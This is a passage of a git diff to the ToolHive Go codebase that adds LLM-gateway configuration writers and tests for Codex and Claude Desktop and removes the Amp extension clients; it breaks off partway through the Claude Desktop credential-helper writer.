process // makes, which is an unacceptable side-effect. - LLMGatewayMode: "proxy", + LLMGatewayMode: llmgateway.ModeProxy, LLMBinaryName: "gemini", LLMSettingsFile: "settings.json", LLMSettingsRelPath: []string{".gemini"}, @@ -981,6 +931,20 @@ var supportedClientIntegrations = []clientAppConfig{ SupportsSkills: true, SkillsGlobalPath: []string{".agents", skillsDirName}, SkillsProjectPath: []string{".agents", skillsDirName}, + SupportsPlugins: true, + // Codex discovers marketplaces at ~/.agents/plugins/marketplace.json + // (personal) and $REPO_ROOT/.agents/plugins/marketplace.json (project). + // ToolHive lays each plugin's source under that marketplace root, + // namespaced by the "toolhive" marketplace name, so the manifest can + // reference it with a relative "./toolhive/" source. + PluginsGlobalPath: []string{".agents", "plugins", "toolhive"}, + PluginsProjectPath: []string{".agents", "plugins", "toolhive"}, + // LLM gateway: patches the same config.toml its MCP config uses, via a + // dedicated TOML writer (llm_gateway_codex.go) rather than LLMGatewayKeys. + LLMGatewayMode: llmgateway.ModeCodexAuth, + LLMBinaryName: "codex", + LLMSettingsFile: "config.toml", + LLMSettingsRelPath: []string{".codex"}, }, { ClientType: KimiCli, @@ -1048,7 +1012,7 @@ var supportedClientIntegrations = []clientAppConfig{ ClientType: ClientApp(Xcode), Description: "GitHub Copilot for Xcode", LLMGatewayOnly: true, - LLMGatewayMode: "proxy", + LLMGatewayMode: llmgateway.ModeProxy, // Full path is macOS-specific; on Linux/Windows this directory will not // exist, so DetectedLLMGatewayClients() naturally returns false there. LLMSettingsFile: "editorSettings.json", @@ -1058,6 +1022,37 @@ var supportedClientIntegrations = []clientAppConfig{ {JSONPointer: "/apiKey", ValueField: "PlaceholderAPIKey"}, }, }, + { + // Claude Desktop routes LLM traffic through the gateway via its + // "third-party inference" surface. Unlike Claude Code (a single JSON + // settings file), Desktop uses a configLibrary directory: one config + // document per saved config plus a _meta.json selector naming the active + // one. That document model does not fit JSON-key patching, so this entry + // uses LLMGatewayMode "credential-helper" and carries no LLMGatewayKeys — + // the dedicated credential-helper writer handles it. LLM-gateway-only (MCP + // not wired). Cast LLMClientApp → ClientApp for internal storage. + ClientType: ClientApp(ClaudeDesktop), + Description: "Claude Desktop", + LLMGatewayOnly: true, + LLMGatewayMode: llmgateway.ModeCredentialHelper, + // Settings file is the _meta.json selector; the writer derives the + // containing configLibrary directory from it. + LLMSettingsFile: "_meta.json", + LLMSettingsRelPath: []string{"Claude-3p", "configLibrary"}, + LLMSettingsPlatformPrefix: map[Platform][]string{ + PlatformDarwin: {"Library", "Application Support"}, + PlatformWindows: {"AppData", "Local"}, + }, + // Detect via the app's user-data directory, which exists once Claude + // Desktop has run — the configLibrary directory above does not exist + // until first configured, so it cannot be the detection signal. + LLMDetectRelPath: []string{"Claude"}, + LLMDetectPlatformPrefix: map[Platform][]string{ + PlatformDarwin: {"Library", "Application Support"}, + PlatformWindows: {"AppData", "Roaming"}, + }, + LLMManagedProfileDomain: "com.anthropic.claudefordesktop.plist", + }, } // GetAllClients returns a slice of all supported MCP client types, sorted alphabetically. diff --git a/pkg/client/config_test.go b/pkg/client/config_test.go index 389b10ade9..0daffd239a 100644 --- a/pkg/client/config_test.go +++ b/pkg/client/config_test.go @@ -103,38 +103,6 @@ func createMockClientConfigs() []clientAppConfig { MCPServersPathPrefix: "/amp.mcpServers", Extension: JSON, }, - { - ClientType: AmpVSCode, - Description: "VS Code Sourcegraph Amp extension (Mock)", - RelPath: []string{"mock_amp_vscode"}, - SettingsFile: "settings.json", - MCPServersPathPrefix: "/amp.mcpServers", - Extension: JSON, - }, - { - ClientType: AmpCursor, - Description: "Cursor Sourcegraph Amp extension (Mock)", - RelPath: []string{"mock_amp_cursor"}, - SettingsFile: "settings.json", - MCPServersPathPrefix: "/amp.mcpServers", - Extension: JSON, - }, - { - ClientType: AmpVSCodeInsider, - Description: "VS Code Insiders Sourcegraph Amp extension (Mock)", - RelPath: []string{"mock_amp_vscode_insider"}, - SettingsFile: "settings.json", - MCPServersPathPrefix: "/amp.mcpServers", - Extension: JSON, - }, - { - ClientType: AmpWindsurf, - Description: "Windsurf Sourcegraph Amp extension (Mock)", - RelPath: []string{"mock_amp_windsurf"}, - SettingsFile: "settings.json", - MCPServersPathPrefix: "/amp.mcpServers", - Extension: JSON, - }, { ClientType: LMStudio, Description: "LM Studio application (Mock)", @@ -394,10 +362,6 @@ func TestSuccessfulClientConfigOperations(t *testing.T) { string(Windsurf), string(WindsurfJetBrains), string(AmpCli), - string(AmpVSCode), - string(AmpCursor), - string(AmpVSCodeInsider), - string(AmpWindsurf), string(LMStudio), string(Goose), string(Trae), @@ -492,18 +456,6 @@ func TestSuccessfulClientConfigOperations(t *testing.T) { case AmpCli: assert.Contains(t, string(content), `"mcpServers":`, "AmpCli config should contain mcpServers key") - case AmpVSCode: - assert.Contains(t, string(content), `"mcpServers":`, - "AmpVSCode config should contain mcpServers key") - case AmpVSCodeInsider: - assert.Contains(t, string(content), `"mcpServers":`, - "AmpVSCodeInsider config should contain mcpServers key") - case AmpCursor: - assert.Contains(t, string(content), `"mcpServers":`, - "AmpCursor config should contain mcpServers key") - case AmpWindsurf: - assert.Contains(t, string(content), `"mcpServers":`, - "AmpWindsurf config should contain mcpServers key") case LMStudio, Trae, Kiro, Antigravity, GeminiCli, KimiCli, Factory, CopilotCli: assert.Contains(t, string(content), `"mcpServers":`, "Config should contain mcpServers key") @@ -562,7 +514,7 @@ func TestSuccessfulClientConfigOperations(t *testing.T) { assert.Contains(t, string(content), testURL, "VSCode config should contain the server URL") case Cursor, RooCode, ClaudeCode, Cline, Windsurf, WindsurfJetBrains, AmpCli, - AmpVSCode, AmpCursor, AmpVSCodeInsider, AmpWindsurf, LMStudio, Goose, Trae, Continue, OpenCode, Kiro, Antigravity, Zed, GeminiCli, VSCodeServer, + LMStudio, Goose, Trae, Continue, OpenCode, Kiro, Antigravity, Zed, GeminiCli, VSCodeServer, MistralVibe, Codex, KimiCli, Factory, CopilotCli: assert.Contains(t, string(content), testURL, "Config should contain the server URL") @@ -1292,8 +1244,8 @@ func TestGetAllClients(t *testing.T) { clients := GetAllClients() - // Should return all 28 supported clients - assert.Len(t, clients, 28, "Expected 28 supported clients") + // Should return all 24 supported clients + assert.Len(t, clients, 24, "Expected 24 supported clients") // Verify the list is sorted alphabetically for i := 1; i < len(clients); i++ { @@ -1507,7 +1459,7 @@ func TestGetClientListCSV(t *testing.T) { clientNames[i-1], clientNames[i]) } - // Count the number of clients (should be 28) + // Count the number of clients (should be 24) clients := strings.Split(csv, ", ") - assert.Len(t, clients, 28, "Expected 28 clients in CSV list") + assert.Len(t, clients, 24, "Expected 24 clients in CSV list") } diff --git a/pkg/client/discovery.go b/pkg/client/discovery.go index 5dc2cfe2fa..5173b2dd24 100644 --- a/pkg/client/discovery.go +++ b/pkg/client/discovery.go @@ -26,6 +26,14 @@ type ClientManager struct { lookPath func(string) (string, error) } +// HomeDir returns the home directory this ClientManager is rooted at. Exported +// so plugin adapters can resolve user-scoped config-file paths (e.g. Claude +// Code's ~/.claude/settings.json) under the manager's home — which, for tests, +// is a temp dir injected via NewTestClientManagerWithHome. +func (cm *ClientManager) HomeDir() string { + return cm.homeDir +} + // NewClientManager creates a new ClientManager with default dependencies func NewClientManager() (*ClientManager, error) { home, err := os.UserHomeDir() @@ -39,16 +47,29 @@ func NewClientManager() (*ClientManager, error) { groupManager = nil } + // Copy the static integration list so we can wire per-client detectors + // without mutating the shared supportedClientIntegrations slice. + integrations := make([]clientAppConfig, len(supportedClientIntegrations)) + copy(integrations, supportedClientIntegrations) + codexDetector := newCodexDesktopDetector(home, runtime.GOOS).installed + for i := range integrations { + if integrations[i].ClientType == Codex { + integrations[i].LLMInstalledDetector = codexDetector + break + } + } + return &ClientManager{ homeDir: home, groupManager: groupManager, - clientIntegrations: supportedClientIntegrations, + clientIntegrations: integrations, configProvider: config.NewDefaultProvider(), lookPath: exec.LookPath, }, nil } -// NewTestClientManager creates a new ClientManager with test dependencies +// NewTestClientManager creates a ClientManager with test dependencies. Native +// Codex desktop detection is intentionally omitted to keep tests deterministic. func NewTestClientManager( homeDir string, groupManager groups.Manager, @@ -79,6 +100,8 @@ type ClientAppStatus struct { // SupportsSkills indicates whether ToolHive can install skills for this client SupportsSkills bool `json:"supports_skills"` + // SupportsPlugins indicates whether ToolHive can install plugins for this client + SupportsPlugins bool `json:"supports_plugins"` } // IsClientInstalled reports whether the given client appears to be installed on @@ -130,10 +153,11 @@ func (cm *ClientManager) GetClientStatus(ctx context.Context) ([]ClientAppStatus continue } status := ClientAppStatus{ - ClientType: cfg.ClientType, - Installed: cm.IsClientInstalled(cfg.ClientType), - Registered: registeredClients[string(cfg.ClientType)], - SupportsSkills: cfg.SupportsSkills, + ClientType: cfg.ClientType, + Installed: cm.IsClientInstalled(cfg.ClientType), + Registered: registeredClients[string(cfg.ClientType)], + SupportsSkills: cfg.SupportsSkills, + SupportsPlugins: cfg.SupportsPlugins, } statuses = append(statuses, status) } diff --git a/pkg/client/llm_gateway.go b/pkg/client/llm_gateway.go index 4de8922ec3..f2a5ea2287 100644 --- a/pkg/client/llm_gateway.go +++ b/pkg/client/llm_gateway.go @@ -6,6 +6,7 @@ package client import ( "encoding/json" "fmt" + "log/slog" "os" "path/filepath" "strconv" @@ -41,6 +42,17 @@ func (cm *ClientManager) ConfigureLLMGateway(clientType ClientApp, cfg llmgatewa return "", fmt.Errorf("client %q does not support LLM gateway configuration", clientType) } + // Credential-helper clients (Claude Desktop) use a document + selector model + // that does not fit JSON-key patching; dispatch to the dedicated writer. + if appCfg.LLMGatewayMode == llmgateway.ModeCredentialHelper { + return cm.configureCredentialHelper(appCfg, cfg) + } + // Codex's config is TOML, not JSON, and authenticates via a command-backed + // bearer token rather than JSON-Pointer keys; dispatch to its writer. + if appCfg.LLMGatewayMode == llmgateway.ModeCodexAuth { + return cm.configureCodexAuth(appCfg, cfg) + } + path := cm.buildLLMSettingsPath(appCfg) if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil { @@ -168,6 +180,22 @@ func (cm *ClientManager) RevertLLMGateway(clientType ClientApp, configPath strin return fmt.Errorf("client %q does not support LLM gateway configuration", clientType) } + // Credential-helper clients (Claude Desktop) revert via the dedicated writer. + if appCfg.LLMGatewayMode == llmgateway.ModeCredentialHelper { + return cm.revertCredentialHelper(appCfg, configPath) + } + // Codex reverts via its dedicated TOML writer. + if appCfg.LLMGatewayMode == llmgateway.ModeCodexAuth { + return cm.revertCodexAuth(appCfg, configPath) + } + + return revertJSONPointerGateway(appCfg, configPath) +} + +// revertJSONPointerGateway removes appCfg.LLMGatewayKeys from configPath, the +// JSON-Pointer-based revert path shared by every LLM-gateway mode except +// ModeCredentialHelper and ModeCodexAuth (which use dedicated writers). +func revertJSONPointerGateway(appCfg *clientAppConfig, configPath string) error { // Guard against a missing file (or deleted parent directory) before trying // to acquire the lock — WithFileLock creates configPath+".lock", which // fails when the directory no longer exists. @@ -226,7 +254,16 @@ func (cm *ClientManager) IsLLMGatewaySupported(clientType ClientApp) bool { return cfg != nil && cfg.LLMGatewayMode != "" } -// LLMGatewayModeFor returns "direct", "proxy", or "" for the given client. +// IsManaged reports whether an MDM/managed-preferences profile is present for +// the given client. When true, the client reads config from the managed profile +// and ignores the local config "thv llm setup" writes, so setup warns the user. +func (cm *ClientManager) IsManaged(clientType ClientApp) bool { + cfg := cm.lookupClientAppConfig(clientType) + return cfg != nil && managedProfilePresent(cfg.LLMManagedProfileDomain) +} + +// LLMGatewayModeFor returns the client's configured gateway integration mode, +// or "" when the client is unknown or does not support an LLM gateway. func (cm *ClientManager) LLMGatewayModeFor(clientType ClientApp) string { cfg := cm.lookupClientAppConfig(clientType) if cfg == nil { @@ -236,12 +273,14 @@ func (cm *ClientManager) LLMGatewayModeFor(clientType ClientApp) string { } // DetectedLLMGatewayClients returns the subset of LLM-gateway-capable clients -// that are installed on this machine. A client is considered installed when: -// 1. Its settings directory exists on disk. -// 2. If LLMBinaryName is set, the binary is also present on $PATH. +// that are installed on this machine. Most clients require their settings +// directory and, when configured, their binary on $PATH. A client with an +// LLMInstalledDetector hook (e.g. Codex's desktop app) is also detected when +// the hook returns true; CLI and desktop evidence still produce one canonical +// result. // -// The binary check prevents false positives from leftover config directories -// (e.g. ~/.claude or ~/.gemini) that remain after a tool is uninstalled. +// Requiring both CLI signals prevents false positives from leftover config +// directories (e.g. ~/.claude or ~/.gemini) after a tool is uninstalled. func (cm *ClientManager) DetectedLLMGatewayClients() []ClientApp { var result []ClientApp for i := range cm.clientIntegrations { @@ -249,20 +288,63 @@ func (cm *ClientManager) DetectedLLMGatewayClients() []ClientApp { if cfg.LLMGatewayMode == "" { continue } - path := cm.buildLLMSettingsPath(cfg) - if _, err := os.Stat(filepath.Dir(path)); err != nil { - continue + if cm.isClientInstalled(cfg) { + result = append(result, cfg.ClientType) } - if cfg.LLMBinaryName != "" { - if _, err := cm.lookPath(cfg.LLMBinaryName); err != nil { - continue - } - } - result = append(result, cfg.ClientType) } return result } +// isClientInstalled reports whether a single LLM-gateway-capable client appears +// to be installed. The shared check (settings/detection directory exists and, +// when configured, the binary is on $PATH) is augmented by an optional +// per-client LLMInstalledDetector hook (e.g. Codex desktop app detection). +func (cm *ClientManager) isClientInstalled(cfg *clientAppConfig) bool { + if cm.sharedCLIDetection(cfg) { + return true + } + if cfg.LLMInstalledDetector == nil { + return false + } + installed, err := cfg.LLMInstalledDetector() + if err != nil { + // Log the detector failure so it's distinguishable from "not installed" + // rather than silently treating a detection error as absence. + slog.Warn("LLM client detection hook failed", + "client", cfg.ClientType, "error", err) + return false + } + return installed +} + +// sharedCLIDetection implements the generic CLI detection shared by all +// LLM-gateway-capable clients: the detection directory (or settings directory) +// must exist, and when LLMBinaryName is set the binary must be found on $PATH. +func (cm *ClientManager) sharedCLIDetection(cfg *clientAppConfig) bool { + // Detection directory: for GUI apps whose settings directory does not + // exist until first configured (e.g. Claude Desktop's configLibrary), + // LLMDetectRelPath points at a directory that exists once the app is + // installed. Otherwise fall back to the settings directory. + detectDir := func() string { + if cfg.LLMDetectRelPath != nil { + return buildConfigFilePath("", cfg.LLMDetectRelPath, cfg.LLMDetectPlatformPrefix, []string{cm.homeDir}) + } + return filepath.Dir(cm.buildLLMSettingsPath(cfg)) + }() + if _, err := os.Stat(detectDir); err != nil { + return false + } + if cfg.LLMBinaryName != "" { + if cm.lookPath == nil { + return false + } + if _, err := cm.lookPath(cfg.LLMBinaryName); err != nil { + return false + } + } + return true +} + // buildLLMSettingsPath resolves the absolute path to the LLM settings file // for the given client using the same PlatformPrefix logic as MCP config paths. func (cm *ClientManager) buildLLMSettingsPath(cfg *clientAppConfig) string { @@ -307,9 +389,33 @@ func resolveApplyConfigField(valueField string, cfg llmgateway.ApplyConfig) (str return "0", true } return "", true + default: + return resolveBedrockField(valueField, cfg) + } +} + +// resolveBedrockField resolves the Claude Code bedrock-compat ValueFields. The +// values are written only in bedrock-compat mode; otherwise they resolve to "" +// so their ClearWhenEmpty key specs remove the key. Returns (_, false) for any +// non-bedrock field so the caller can report an unknown ValueField. +func resolveBedrockField(valueField string, cfg llmgateway.ApplyConfig) (string, bool) { + var v string + switch valueField { + case "BedrockDisableExperimentalBetas": + v = "1" + case "BedrockHaikuModel": + v = cfg.BedrockHaikuModel + case "BedrockOpusModel": + v = cfg.BedrockOpusModel + case "BedrockSonnetModel": + v = cfg.BedrockSonnetModel default: return "", false } + if !cfg.BedrockCompat { + return "", true + } + return v, true } // llmValueForSpec returns the config value for a settings-file key spec. diff --git a/pkg/client/llm_gateway_codex.go b/pkg/client/llm_gateway_codex.go new file mode 100644 index 0000000000..6840b01c5c --- /dev/null +++ b/pkg/client/llm_gateway_codex.go @@ -0,0 +1,139 @@ +// SPDX-FileCopyrightText: Copyright 2026 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package client + +import ( + "fmt" + "os" + "path/filepath" + "strings" + + "github.com/stacklok/toolhive/pkg/fileutils" + "github.com/stacklok/toolhive/pkg/llmgateway" +) + +// Codex's LLM gateway config lives in the same config.toml its MCP-server +// registration already uses (~/.codex/config.toml). Unlike the JSON-Pointer +// LLMGatewayKeys clients, Codex authenticates via a command-backed bearer +// token ([model_providers..auth]), so it gets a dedicated TOML writer +// here rather than going through the hujson JSON-Pointer machinery, which +// cannot write TOML at all. + +// codexProviderID is the stable table name ToolHive owns under +// [model_providers.]. Reusing a fixed id (rather than minting one per +// run) keeps repeated "thv llm setup" calls idempotent and avoids orphaned +// tables, mirroring the fixed-name approach configureCredentialHelper uses +// for Claude Desktop's _meta.json entry. +const codexProviderID = "toolhive-gateway" + +// codexBaseURL returns gatewayURL with a "/v1" suffix, avoiding a double +// "/v1/v1" if the configured gateway URL already ends in one (e.g. a gateway +// mounted behind its own "/v1" path prefix). +func codexBaseURL(gatewayURL string) string { + base := strings.TrimSuffix(gatewayURL, "/") + if strings.HasSuffix(base, "/v1") { + return base + } + return base + "/v1" +} + +// configureCodexAuth writes (or updates) ToolHive's model_provider entry in +// Codex's config.toml: a custom provider pointed at the LLM gateway, +// authenticated via a command that invokes "thv llm token". Any other +// model_providers entries and the mcp_servers table (used by the unrelated +// MCP-client feature) are left untouched. Returns the config file path, which +// RevertLLMGateway later passes back to revertCodexAuth. +func (cm *ClientManager) configureCodexAuth(appCfg *clientAppConfig, cfg llmgateway.ApplyConfig) (string, error) { + if cfg.TokenHelperPath == "" || len(cfg.TokenHelperArgs) == 0 { + return "", fmt.Errorf("codex-auth requires TokenHelperPath and TokenHelperArgs to be set") + } + + path := cm.buildLLMSettingsPath(appCfg) + if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil { + return "", fmt.Errorf("creating %s: %w", filepath.Dir(path), err) + } + + err := fileutils.WithFileLock(path, func() error { + config, err := readTOMLConfig(path) + if err != nil { + return err + } + + config["model_provider"] = codexProviderID + + // Refuse to overwrite a pre-existing model_providers that isn't a table + // (malformed file, or a future Codex schema): clobbering it would silently + // destroy the user's config. The revert path makes the same ok check. + providers, ok := config["model_providers"].(map[string]any) + if existing, present := config["model_providers"]; present && !ok { + return fmt.Errorf("existing model_providers in %s is not a table (%T); refusing to overwrite", path, existing) + } + if providers == nil { + providers = map[string]any{} + } + providers[codexProviderID] = map[string]any{ + "name": "ToolHive Gateway", + // Codex's Responses-API client appends "/responses" directly to + // base_url (the same convention OpenAI's own base_url="…/v1" uses), + // so the gateway's "/v1" prefix must be baked in here rather than + // left to the caller like AnthropicBaseURL's optional prefix. + "base_url": codexBaseURL(cfg.GatewayURL), + "wire_api": "responses", + "auth": map[string]any{ + "command": cfg.TokenHelperPath, + "args": cfg.TokenHelperArgs, + // How often Codex re-invokes the token helper. Kept in sync with the + // TTL the other clients write (see pkg/llmgateway constants) so the + // token source's preemptive-refresh invariant holds for Codex too. + "refresh_interval_ms": llmgateway.CodexHelperTTL.Milliseconds(), + }, + } + config["model_providers"] = providers + + return writeTOMLConfig(path, config) + }) + if err != nil { + return "", err + } + return path, nil +} + +// revertCodexAuth undoes configureCodexAuth: it removes ToolHive's +// model_providers. table (leaving any other providers untouched) and +// clears model_provider only if it still points at ToolHive's entry — a value +// changed since setup (by the user or another tool) is left alone, mirroring +// revertCredentialHelper's appliedId check for Claude Desktop. A missing file +// is treated as already-reverted. +// +// Revert removes model_provider rather than restoring whatever it was before +// setup: configureCodexAuth does not stash the prior selection, so a user who +// had e.g. model_provider = "openai" before setup is left with none after +// revert (Codex then falls back to its own default). +func (*ClientManager) revertCodexAuth(_ *clientAppConfig, configPath string) error { + if configPath == "" || !fileExistsAt(configPath) { + return nil + } + + return fileutils.WithFileLock(configPath, func() error { + config, err := readTOMLConfig(configPath) + if err != nil { + return err + } + + if providers, ok := config["model_providers"].(map[string]any); ok { + delete(providers, codexProviderID) + if len(providers) == 0 { + delete(config, "model_providers") + } else { + config["model_providers"] = providers + } + } + + if provider, ok := config["model_provider"].(string); ok && provider == codexProviderID { + delete(config, "model_provider") + } + + return writeTOMLConfig(configPath, config) + }) +} diff --git a/pkg/client/llm_gateway_codex_test.go b/pkg/client/llm_gateway_codex_test.go new file mode 100644 index 0000000000..b521d4c89c --- /dev/null +++ b/pkg/client/llm_gateway_codex_test.go @@ -0,0 +1,216 @@ +// SPDX-FileCopyrightText: Copyright 2026 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package client + +import ( + "os" + "path/filepath" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/stacklok/toolhive/pkg/llmgateway" +) + +// newCodexManager returns a ClientManager rooted at a temp home with the real +// Codex integration, plus the resolved config.toml path. +func newCodexManager(t *testing.T) (*ClientManager, string) { + t.Helper() + home := t.TempDir() + cm := NewTestClientManager(home, nil, supportedClientIntegrations, nil) + cfg := cm.lookupClientAppConfig(ClientApp(Codex)) + require.NotNil(t, cfg, "Codex must be a supported integration") + require.Equal(t, llmgateway.ModeCodexAuth, cfg.LLMGatewayMode, "Codex must use the codex-auth model") + return cm, cm.buildLLMSettingsPath(cfg) +} + +func codexApplyCfg() llmgateway.ApplyConfig { + return llmgateway.ApplyConfig{ + GatewayURL: "https://gw.example.com", + TokenHelperPath: "/usr/local/bin/thv", + TokenHelperArgs: []string{"llm", "token", "--skip-browser"}, + } +} + +func TestConfigureCodexAuth_WritesProviderAndAuth(t *testing.T) { + t.Parallel() + cm, configPath := newCodexManager(t) + + path, err := cm.ConfigureLLMGateway(ClientApp(Codex), codexApplyCfg()) + require.NoError(t, err) + assert.Equal(t, configPath, path) + + config, err := readTOMLConfig(configPath) + require.NoError(t, err) + + assert.Equal(t, codexProviderID, config["model_provider"]) + providers, ok := config["model_providers"].(map[string]any) + require.True(t, ok) + provider, ok := providers[codexProviderID].(map[string]any) + require.True(t, ok) + assert.Equal(t, "ToolHive Gateway", provider["name"]) + assert.Equal(t, "https://gw.example.com/v1", provider["base_url"]) + assert.Equal(t, "responses", provider["wire_api"]) + + auth, ok := provider["auth"].(map[string]any) + require.True(t, ok) + assert.Equal(t, "/usr/local/bin/thv", auth["command"]) + assert.Equal(t, []any{"llm", "token", "--skip-browser"}, auth["args"]) + assert.Equal(t, llmgateway.CodexHelperTTL.Milliseconds(), auth["refresh_interval_ms"], + "refresh_interval_ms keeps Codex's token-helper cadence in sync with the refresh window") +} + +func TestConfigureCodexAuth_RejectsNonTableModelProviders(t *testing.T) { + t.Parallel() + cm, configPath := newCodexManager(t) + + // A malformed (or future-schema) config where model_providers is not a table. + // Setup must refuse rather than silently overwrite the user's value. + require.NoError(t, os.MkdirAll(filepath.Dir(configPath), 0o700)) + require.NoError(t, writeTOMLConfig(configPath, map[string]any{"model_providers": "garbage"})) + + _, err := cm.ConfigureLLMGateway(ClientApp(Codex), codexApplyCfg()) + require.Error(t, err) + + config, err := readTOMLConfig(configPath) + require.NoError(t, err) + assert.Equal(t, "garbage", config["model_providers"], "the user's original value must be left untouched") +} + +func TestConfigureCodexAuth_IsIdempotent(t *testing.T) { + t.Parallel() + cm, configPath := newCodexManager(t) + + first, err := cm.ConfigureLLMGateway(ClientApp(Codex), codexApplyCfg()) + require.NoError(t, err) + second, err := cm.ConfigureLLMGateway(ClientApp(Codex), codexApplyCfg()) + require.NoError(t, err) + assert.Equal(t, first, second) + + config, err := readTOMLConfig(configPath) + require.NoError(t, err) + providers, ok := config["model_providers"].(map[string]any) + require.True(t, ok) + assert.Len(t, providers, 1, "repeated setup must not duplicate the provider entry") +} + +func TestConfigureCodexAuth_PreservesForeignEntries(t *testing.T) { + t.Parallel() + cm, configPath := newCodexManager(t) + + // Seed a user-owned provider and an unrelated mcp_servers table, the way the + // existing MCP-client feature or the user's own edits would. + require.NoError(t, os.MkdirAll(filepath.Dir(configPath), 0o700)) + seed := map[string]any{ + "model_providers": map[string]any{ + "my-bedrock": map[string]any{"name": "My Bedrock"}, + }, + "mcp_servers": map[string]any{ + "github": map[string]any{"command": "docker"}, + }, + } + require.NoError(t, writeTOMLConfig(configPath, seed)) + + _, err := cm.ConfigureLLMGateway(ClientApp(Codex), codexApplyCfg()) + require.NoError(t, err) + + config, err := readTOMLConfig(configPath) + require.NoError(t, err) + providers, ok := config["model_providers"].(map[string]any) + require.True(t, ok) + assert.Len(t, providers, 2, "the foreign provider must survive alongside ours") + _, ok = providers["my-bedrock"] + assert.True(t, ok, "foreign provider must be untouched") + + mcpServers, ok := config["mcp_servers"].(map[string]any) + require.True(t, ok) + assert.Contains(t, mcpServers, "github", "unrelated mcp_servers table must be untouched") +} + +func TestRevertCodexAuth_RemovesProviderOnly(t *testing.T) { + t.Parallel() + cm, configPath := newCodexManager(t) + + require.NoError(t, os.MkdirAll(filepath.Dir(configPath), 0o700)) + seed := map[string]any{ + "model_providers": map[string]any{ + "my-bedrock": map[string]any{"name": "My Bedrock"}, + }, + } + require.NoError(t, writeTOMLConfig(configPath, seed)) + + path, err := cm.ConfigureLLMGateway(ClientApp(Codex), codexApplyCfg()) + require.NoError(t, err) + + require.NoError(t, cm.RevertLLMGateway(ClientApp(Codex), path)) + + config, err := readTOMLConfig(configPath) + require.NoError(t, err) + _, hasProvider := config["model_provider"] + assert.False(t, hasProvider, "model_provider must be cleared since it pointed at ours") + providers, ok := config["model_providers"].(map[string]any) + require.True(t, ok) + assert.Len(t, providers, 1, "only our provider entry should be removed") + _, ok = providers["my-bedrock"] + assert.True(t, ok, "foreign provider must survive revert") +} + +func TestRevertCodexAuth_LeavesForeignModelProviderIntact(t *testing.T) { + t.Parallel() + cm, configPath := newCodexManager(t) + + path, err := cm.ConfigureLLMGateway(ClientApp(Codex), codexApplyCfg()) + require.NoError(t, err) + + // Simulate the user (or another tool) selecting a different provider after setup. + config, err := readTOMLConfig(configPath) + require.NoError(t, err) + config["model_provider"] = "my-bedrock" + require.NoError(t, writeTOMLConfig(configPath, config)) + + require.NoError(t, cm.RevertLLMGateway(ClientApp(Codex), path)) + + config, err = readTOMLConfig(configPath) + require.NoError(t, err) + assert.Equal(t, "my-bedrock", config["model_provider"], "a changed selection must not be clobbered by revert") +} + +func TestConfigureCodexAuth_RejectsMissingTokenHelper(t *testing.T) { + t.Parallel() + cm, _ := newCodexManager(t) + + _, err := cm.ConfigureLLMGateway(ClientApp(Codex), llmgateway.ApplyConfig{ + GatewayURL: "https://gw.example.com", + }) + require.Error(t, err) +} + +func TestCodexBaseURL(t *testing.T) { + t.Parallel() + tests := []struct { + name string + gatewayURL string + want string + }{ + {"appends v1", "https://gw.example.com", "https://gw.example.com/v1"}, + {"trims trailing slash before appending", "https://gw.example.com/", "https://gw.example.com/v1"}, + {"does not double-append existing v1 suffix", "https://gw.example.com/v1", "https://gw.example.com/v1"}, + {"does not double-append with trailing slash", "https://gw.example.com/v1/", "https://gw.example.com/v1"}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + assert.Equal(t, tt.want, codexBaseURL(tt.gatewayURL)) + }) + } +} + +func TestRevertCodexAuth_MissingFileIsNoOp(t *testing.T) { + t.Parallel() + cm, configPath := newCodexManager(t) + + require.NoError(t, cm.RevertLLMGateway(ClientApp(Codex), configPath)) + assert.NoFileExists(t, configPath) +} diff --git a/pkg/client/llm_gateway_credential_helper.go b/pkg/client/llm_gateway_credential_helper.go new file mode 100644 index 0000000000..c6b07a9aa9 --- /dev/null +++ b/pkg/client/llm_gateway_credential_helper.go @@ -0,0 +1,461 @@ +// SPDX-FileCopyrightText: Copyright 2026 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package client + +import ( + "encoding/json" + "fmt" + "log/slog" + "os" + "path/filepath" + "runtime" + "strings" + + "github.com/google/uuid" + + "github.com/stacklok/toolhive/pkg/fileutils" + "github.com/stacklok/toolhive/pkg/llmgateway" +) + +// Claude Desktop's "third-party inference" config lives in a configLibrary +// directory: one .json document per saved configuration, plus a _meta.json +// selector that names the active one. This is a different shape from the single +// JSON settings file that direct/proxy clients patch, so it gets a dedicated +// writer here rather than going through the LLMGatewayKeys machinery. + +const ( + // claudeDesktopManagedEntryName is the stable display name of the config + // entry ToolHive owns in _meta.json. Reusing a fixed name (rather than a + // fresh UUID per run) keeps setup idempotent — repeated "thv llm setup" + // calls update the same entry instead of accumulating orphans. + claudeDesktopManagedEntryName = "ToolHive Gateway" + + // claudeDesktopCredentialKind selects the credential-helper auth model + // (a local executable that prints a token), as opposed to "interactive" + // (Claude Desktop runs its own OIDC flow). + claudeDesktopCredentialKind = "helper-script" +) + +// claudeDesktopConfig is the .json document written into the configLibrary. +// ToolHive fully owns this file, so a typed struct is safe (no user fields to +// preserve). inferenceModels is omitted when empty so Claude Desktop falls back +// to gateway-side model auto-discovery once the gateway serves it. +type claudeDesktopConfig struct { + InferenceProvider string `json:"inferenceProvider"` + InferenceGatewayBaseURL string `json:"inferenceGatewayBaseUrl"` + InferenceGatewayAuthScheme string `json:"inferenceGatewayAuthScheme"` + InferenceCredentialKind string `json:"inferenceCredentialKind"` + InferenceCredentialHelper string `json:"inferenceCredentialHelper"` + InferenceCredentialHelperTtlSec int `json:"inferenceCredentialHelperTtlSec"` + InferenceCredentialHelperTimeoutSec int `json:"inferenceCredentialHelperTimeoutSec"` + InferenceModels []string `json:"inferenceModels,omitempty"` +} + +// configureCredentialHelper writes (or updates) ToolHive's Claude Desktop +// configuration: it generates the credential-helper shim, writes the config +// document, and points _meta.json at it. It returns the absolute path of the +// config document, which RevertLLMGateway later uses to undo the change. +// +// The _meta.json update is done under a file lock and preserves every entry and +// key ToolHive does not own, so a user's other saved configurations are left +// intact. Writes are crash-safe via AtomicWriteFile. +func (cm *ClientManager) configureCredentialHelper(appCfg *clientAppConfig, cfg llmgateway.ApplyConfig) (string, error) { + if 